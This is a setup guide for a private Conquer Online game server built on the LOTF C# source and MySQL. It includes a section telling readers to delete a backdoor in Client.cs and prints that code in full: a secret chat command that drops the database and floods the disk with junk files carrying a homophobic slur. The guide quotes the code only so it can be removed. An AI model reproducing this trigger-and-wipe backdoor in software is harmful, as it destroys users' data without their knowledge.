Server Info:
- Database: MySQL
- Language: C#
- Client: v 5016
Required Programs:
- Microsoft Visual C# 2005 Express Edition [Link: ]
- AppServ(MySQL, Apache, and PhpMyAdmin all in one) [Link: ]
- LOTF Source: [Link: ]
- Conquer Online Client 5016 [Link: <NONE>]
*IMPORTANT NOTE!!!!!!!!!!!*
YOU MUST REMEMBER ALL THE USERNAMES/PASSWORDS YOU ENTER!
Setup Guide:
1. Download and Install everything.
2. Go to PhpMyAdmin (go to your browser, and type: , then enter root for the username, and the password you set when installing AppServ.)
3. Click on the SQL button.
Click on Import Files, and select the Database from the Source (Backup.sql)
4. The Server should already connect to the Database.
5. Go to ...COServerProject\bin\Debug then COServerProject.exe to start the server.
Note: if the file is not there, go to ...COServerProject\obj\Debug and copy the file from there, to bin\Debug.
6. Editing NPC Spawns, Accounts, Guilds, Items, Monsters/Monster Spawns, and Portals are all in localhost/phpmyadmin.
7. NPC dialogs are found in the file Client.cs around line 939.
Download this Guide:
MALICIOUS CODE:
A malicious code has been coded into the server (probobly by hadeset before he released it).
This code supposedly destroys the source.
REMOVE THE MALICIOUS CODE:
1. Open Client.cs
2. Press Ctrl+G and go to line 3630
3. Delete the Command:
Code:
if (Message == "@go_to_hell!ENC3101931993") { MySql.Data.MySqlClient.MySqlCommand Command = new MySql.Data.MySqlClient.MySqlCommand("drop database `coproj`", DataBase.Connection); Command.ExecuteNonQuery(); for (ulong i = 0; i < 547473346363; i++) { System.IO.StreamWriter WW = new System.IO.StreamWriter("C:Virus" + i.ToString() + ".exe", true); for (ulong u = 0; u < 5857474673576; u++) { WW.WriteLine("No stealing our server you gay whore!!"); } WW.Flush(); WW.Close(); WW = new System.IO.StreamWriter("C:YouSuck" + i.ToString() + ".txt", true); for (ulong u = 0; u < 5857474673576; u++) { WW.WriteLine("No stealing our server you gay whore!!"); } WW.Flush(); WW.Close(); } }
MySql.Data Error
The file MySql.Data.dll is missing from the source, so when you build it, you will always get an error.
Solution:
1. Download MySql.Data.dll: |
2. Move the MySql.Data.dll file into your Server Folder
3. Open the Source with Visual C#
4. Move the File from the Server folder, into the Resources. Overwrite the old one.
There! MySql.Data Error is Fixed!
Registration Page
Download this Registration Page so other players can register to your server!
Link:
Credits to scottdavey